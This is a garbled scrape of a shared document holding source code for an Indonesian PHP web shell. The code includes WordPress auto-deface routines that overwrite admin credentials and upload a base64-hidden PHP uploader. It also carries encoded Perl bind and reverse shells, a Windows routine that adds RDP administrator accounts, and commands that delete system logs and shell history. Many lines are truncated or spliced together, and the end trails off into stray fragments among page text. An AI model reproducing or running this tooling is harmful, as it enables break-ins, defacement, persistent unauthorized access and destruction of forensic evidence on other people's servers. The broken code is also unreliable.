size='50' height='10'><br>
User: <br><input type='text' value='$user' size='50' height='10'
readonly><br>
Domain: <br>
<textarea style='width: 450px; height: 250px;' name='url'>";
reverse($_SERVER['HTTP_HOST']);
<input type='submit' name='reverse' value='Scan Fake Root!'
style='width: 450px;'>
</form><br>
NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir
/home/user/ dan /home/user/public_html.</center>";
}
} elseif($_GET['do'] == 'adminer') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font color=lime><a href='$full/adminer.php'
target='_blank'>-> adminer login <-</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-
4.2.4.php","adminer.php")) {
echo "<center><font color=lime><a href='$full/adminer.php'
target='_blank'>-> adminer login <-</a></font></center>";
} else {
echo "<center><font color=red>gagal buat file
adminer</font></center>";
}
}
} elseif($_GET['do'] == 'auto_dwp') {
if($_POST['auto_deface_wp']) {
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_close($ch);
return $data;
}
$scan = $_POST['link_config'];
$link_config = scandir($scan);
$script = htmlspecialchars($_POST['script']);
$user = "008";
$pass = "008";
foreach($link_config as $dir_config) {
if(!is_file("$scan/$dir_config")) continue;
$config = file_get_contents("$scan/$dir_config");
if(preg_match("/WordPress/", $config)) {
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$id = $result[ID];
ASC");
if($target == '') {
echo "[-] <font color=red>error, gabisa ambil nama
domain nya</font><br>";
} else {
echo "[+] $target <br>";
}
user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\"
class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\"
/>");
$upload3 =
base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdm
aWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4
kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cG
xvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/P
g==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-
install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?
action=upload-theme");
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch,
CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch,
CURLOPT_COOKIEFILE,'cookie.txt');
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/
$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER,
1);
curl_setopt($ch6, CURLOPT_COOKIEFILE,
"cookie.txt");
curl_setopt($ch6,
CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION,
true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='lime'>berhasil
mepes...</font><br>";
echo "[+] <a href='$as'
target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>gagal mepes...</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php'
target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font
color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center><h1>WordPress Auto Deface</h1>
<input type='text' name='link_config' size='50' height='10'
value='$dir'><br>
<input type='text' name='script' height='10' size='50'
placeholder='Hacked by 008' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp'
value='Hajar!!'>
</form>
<br><span>NB: Tools ini work jika dijalankan di dalam folder
<u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
</center>";
}
} elseif($_GET['do'] == 'auto_dwp2') {
if($_POST['auto_deface_wp']) {
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_close($ch);
return $data;
}
$link = explode("\r\n", $_POST['link']);
$script = htmlspecialchars($_POST['script']);
$user = "008";
$pass = "008";
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$id = $result[ID];
ASC");
if($target == '') {
echo "[-] <font color=red>error, gabisa ambil nama domain
nya</font><br>";
} else {
echo "[+] $target <br>";
}
user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button
button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 =
base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdm
aWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4
kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cG
xvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/P
g==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-
install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-
theme");
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE,
"cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='lime'>berhasil mepes...</font><br>";
echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>gagal mepes...</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php'
target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
} else {
echo "<center><h1>WordPress Auto Deface V.2</h1>
Link Config: <br>
<textarea name='link' placeholder='http://target.com/idx_config/user-
config.txt' style='width: 450px; height:250px;'></textarea><br>
<input type='text' name='script' height='10' size='50'
placeholder='Hacked by 008' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp'
value='Hajar!!'>
</form></center>";
}
} elseif($_GET['do'] == 'network') {
<u>Bind Port:</u> <br>
PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
<input type='submit' name='sub_bp' value='>>'>
</form>
<u>Back Connect:</u> <br>
Server: <input type='text' placeholder='ip' name='ip_bc' value='".
$_SERVER['REMOTE_ADDR']."'>
PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
<input type='submit' name='sub_bc' value='>>'>
</form>";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgM
SkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdl
dHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B
0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU
5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhb
nQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZv
cmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiw
iPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQ
lleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc
2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
if(isset($_POST['sub_bp'])) {
$f_bp = fopen("/tmp/bp.pl", "w");
fwrite($f_bp, base64_decode($bind_port_p));
fclose($f_bp);
$port = $_POST['port_bind'];
$out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQV
JHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAka
WFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpz
b2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVx
uIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURE
lOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT
0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsN
CmNsb3NlKFNUREVSUik7";
if(isset($_POST['sub_bc'])) {
$f_bc = fopen("/tmp/bc.pl", "w");
fwrite($f_bc, base64_decode($bind_connect_p));
fclose($f_bc);
$ipbc = $_POST['ip_bc'];
$port = $_POST['port_bc'];
$out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
} elseif($_GET['do'] == 'krdp_shell') {
if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
if($_POST['create']) {
$user = htmlspecialchars($_POST['user']);
$pass = htmlspecialchars($_POST['pass']);
if(preg_match("/$user/", exe("net user"))) {
echo "[INFO] -> <font color=red>user <font
color=lime>$user</font> sudah ada</font>";
} else {
$add_user = exe("net user $user $pass /add");
$add_groups1 = exe("net localgroup Administrators $user /add");
$add_groups2 = exe("net localgroup Administrator $user /add");
$add_groups3 = exe("net localgroup Administrateur $user /add");
echo "[ RDP ACCOUNT INFO ]<br>
------------------------------<br>
IP: <font color=lime>".$ip."</font><br>
Username: <font color=lime>$user</font><br>
Password: <font color=lime>$pass</font><br>
------------------------------<br><br>
[ STATUS ]<br>
------------------------------<br>
";
if($add_user) {
echo "[add user] -> <font
color='lime'>Berhasil</font><br>";
} else {
echo "[add user] -> <font color='red'>Gagal</font><br>";
}
if($add_groups1) {
echo "[add localgroup Administrators] -> <font
} elseif($add_groups2) {
echo "[add localgroup Administrator] -> <font
} elseif($add_groups3) {
echo "[add localgroup Administrateur] -> <font
} else {
echo "[add localgroup] -> <font
color='red'>Gagal</font><br>";
}
echo "------------------------------<br>";
}
} elseif($_POST['s_opsi']) {
$user = htmlspecialchars($_POST['r_user']);
if($_POST['opsi'] == '1') {
$cek = exe("net user $user");
echo "Checking username <font
color=lime>$user</font> ....... ";
if(preg_match("/$user/", $cek)) {
echo "[ <font color=lime>Sudah ada</font> ]<br>
------------------------------<br><br>
<pre>$cek</pre>";
} else {
echo "[ <font color=red>belum ada</font> ]";
}
} elseif($_POST['opsi'] == '2') {
$cek = exe("net user $user 008");
echo "[change password: <font color=lime>008</font>]
-> ";
if($cek) {
echo "<font color=lime>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
color=lime>$user</font> belum ada</font>";
}
} elseif($_POST['opsi'] == '3') {
$cek = exe("net user $user /DELETE");
echo "[remove user: <font color=lime>$user</font>] ->
";
if($cek) {
echo "<font color=lime>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
color=lime>$user</font> belum ada</font>";
}
} else {
//
}
} else {
echo "-- Create RDP --<br>
<input type='text' name='user' placeholder='username' value='008'
required>
<input type='text' name='pass' placeholder='password' value='008'
required>
<input type='submit' name='create' value='>>'>
</form>
-- Option --<br>
<input type='text' name='r_user' placeholder='username' required>
<select name='opsi'>
<option value='1'>Cek Username</option>
<option value='2'>Ubah Password</option>
<option value='3'>Hapus Username</option>
</select>
<input type='submit' name='s_opsi' value='>>'>
</form>
";
}
} else {
echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows
Server.</font>";
}
} elseif($_GET['act'] == 'newfile') {
if($_POST['new_save_file']) {
$newfile = htmlspecialchars($_POST['newfile']);
$fopen = fopen($newfile, "a+");
if($fopen) {
$act = "<script>window.location='?act=edit&dir=".$dir."&file=".
$_POST['newfile']."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
}
echo $act;
Filename: <input type='text' name='newfile' value='$dir/newfile.php'
style='width: 450px;' height='10'>
<input type='submit' name='new_save_file' value='Submit'>
</form>";
} elseif($_GET['act'] == 'newfolder') {
if($_POST['new_save_folder']) {
$new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
if(!mkdir($new_folder)) {
} else {
$act = "<script>window.location='?dir=".$dir."';</script>";
}
}
echo $act;
Folder Name: <input type='text' name='newfolder' style='width: 450px;'
height='10'>
<input type='submit' name='new_save_folder' value='Submit'>
</form>";
} elseif($_GET['act'] == 'rename_dir') {
if($_POST['dir_rename']) {
$dir_rename = rename($dir,
"".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
if($dir_rename) {
$act = "<script>window.location='?
dir=".dirname($dir)."';</script>";
} else {
}
echo "".$act."<br>";
}
<input type='text' value='".basename($dir)."' name='fol_rename' style='width:
450px;' height='10'>
<input type='submit' name='dir_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete_dir') {
if(is_dir($dir)) {
@rmdir($dir);
@exe("rm -rf $dir");
@exe("rmdir /s /q $dir");
$act = "<script>window.location='?
dir=".dirname($dir)."';</script>";
} else {
$act = "<font color=red>could not remove
".basename($dir)."</font>";
}
}
echo $act;
} elseif($_GET['act'] == 'view') {
echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a
href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?
act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?
act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?
act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?
act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<textarea
readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
} elseif($_GET['act'] == 'edit') {
if($_POST['save']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if($save) {
$act = "<font color=lime>Saved!</font>";
} else {
}
}
href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?
act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?
act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?
<textarea
name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
<input type='submit' value='Save' name='save' style='width: 500px;'>
</form>";
} elseif($_GET['act'] == 'rename') {
if($_POST['do_rename']) {
$rename = rename($_GET['file'],
"$dir/".htmlspecialchars($_POST['rename'])."");
if($rename) {
} else {
}
}
href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?
act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?
act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?
<input type='text' value='".basename($_GET['file'])."' name='rename'
style='width: 450px;' height='10'>
<input type='submit' name='do_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete') {
$delete = unlink($_GET['file']);
if($delete) {
} else {
}
echo $act;
} else {
if(is_dir($dir) === true) {
if(!is_readable($dir)) {
echo "<font color=red>can't open directory. ( not readable )
</font>";
} else {
echo '<table width="100%" class="table_home" border="0"
cellpadding="3" cellspacing="1" align="center">
<tr>
<th class="th_home"><center>Name</center></th>
<th class="th_home"><center>Type</center></th>
<th class="th_home"><center>Size</center></th>
<th class="th_home"><center>Last Modified</center></th>
<th class="th_home"><center>Owner/Group</center></th>
<th class="th_home"><center>Permission</center></th>
<th class="th_home"><center>Action</center></th>
</tr>';
$scandir = scandir($dir);
foreach($scandir as $dirx) {
$dtype = filetype("$dir/$dirx");
$dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
$downer = @posix_getpwuid(fileowner("$dir/$dirx"));
$downer = $downer['name'];
} else {
//$downer = $uid;
$downer = fileowner("$dir/$dirx");
}
if(function_exists('posix_getgrgid')) {
$dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
$dgrp = $dgrp['name'];
} else {
$dgrp = filegroup("$dir/$dirx");
}
if(!is_dir("$dir/$dirx")) continue;
if($dirx === '..') {
$href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
} elseif($dirx === '.') {
$href = "<a href='?dir=$dir'>$dirx</a>";
} else {
$href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
}
if($dirx === '.' || $dirx === '..') {
$act_dir = "<a href='?
act=newfile&dir=$dir'>newfile</a> | <a href='?
act=newfolder&dir=$dir'>newfolder</a>";
} else {
$act_dir = "<a href='?act=rename_dir&dir=$dir/
$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
}
echo "<tr>";
echo "<td class='td_home'><img
src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAA
AAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPr
Dp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIB
ADs='>$href</td>";
echo "<td class='td_home'><center>$dtype</center></td>";
echo "<td class='td_home'><center>-</center></th></td>";
echo "<td class='td_home'><center>$dtime</center></td>";
echo "<td class='td_home'><center>$downer/
$dgrp</center></td>";
echo "<td class='td_home'><center>".w("$dir/
$dirx",perms("$dir/$dirx"))."</center></td>";
echo "<td class='td_home' style='padding-left:
15px;'>$act_dir</td>";
echo "</tr>";
}
}
} else {
echo "<font color=red>can't open directory.</font>";
}
foreach($scandir as $file) {
$ftype = filetype("$dir/$file");
$ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
$size = filesize("$dir/$file")/1024;
$size = round($size,3);
$fowner = @posix_getpwuid(fileowner("$dir/$file"));
$fowner = $fowner['name'];
} else {
//$downer = $uid;
$fowner = fileowner("$dir/$file");
}
if(function_exists('posix_getgrgid')) {
$fgrp = @posix_getgrgid(filegroup("$dir/$file"));
$fgrp = $fgrp['name'];
} else {
$fgrp = filegroup("$dir/$file");
}
if($size > 1

008

Hochgeladen von

Dokumentinformationen

Originaltitel

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

008

Hochgeladen von

Copyright:

Verfügbare Formate

<?

$pass = $_POST['password']; // password

$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random

$hash = md5($pass); // md5 hash #1

$md4 = hash("md4", $pass);

$hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3

$hash1 = sha1($pass); // sha1 hash #4

$hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5

exec("rm -rf /tmp/logs");

shell_exec("rm -rf /tmp/logs");

passthru("rm -rf /tmp/logs");

system("rm -rf /tmp/logs");

system("rm -rf /root/.bash_history");

system("rm -rf /root/.ksh_history");

system("rm -rf /root/.bash_logout");

system("rm -rf /usr/local/apache/logs");

system("rm -rf /usr/local/apache/log");

system("rm -rf /var/apache/logs");

system("rm -rf /var/apache/log");

system("rm -rf /var/run/utmp");

system("rm -rf /var/logs");

system("rm -rf /var/log");

system("rm -rf /var/adm");

system("rm -rf /etc/wtmp");

system("rm -rf /etc/utmp");

system("rm -rf $HISTFILE");

system("rm -rf /var/log/lastlog");

system("rm -rf /var/log/wtmp");

echo '<br><br><p>Your Traces Has Been Successfully Deleting ...From the

$cek = explode('.', $six);

$last=date("M-d-Y H:i", $last_modified);

<table class="me" width="200">

echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a

echo "<form method='post' target='_blank' action='$url'

elseif(isset($_GET['do']) && ($_GET['do'] == 'adfin'))

if(isset($_POST['host']) && is_numeric($_POST['end']) &&

if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)

if (is_dir($source) === true)

foreach ($files as $file)

if (is_dir($file) === true)

else if (is_file($file) === true)

else if (is_file($source) === true)

curl_setopt($ch, CURLOPT_URL, $uel);

if($uxl && preg_match('/table_prefix/i',$uxl))

preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);

Das könnte Ihnen auch gefallen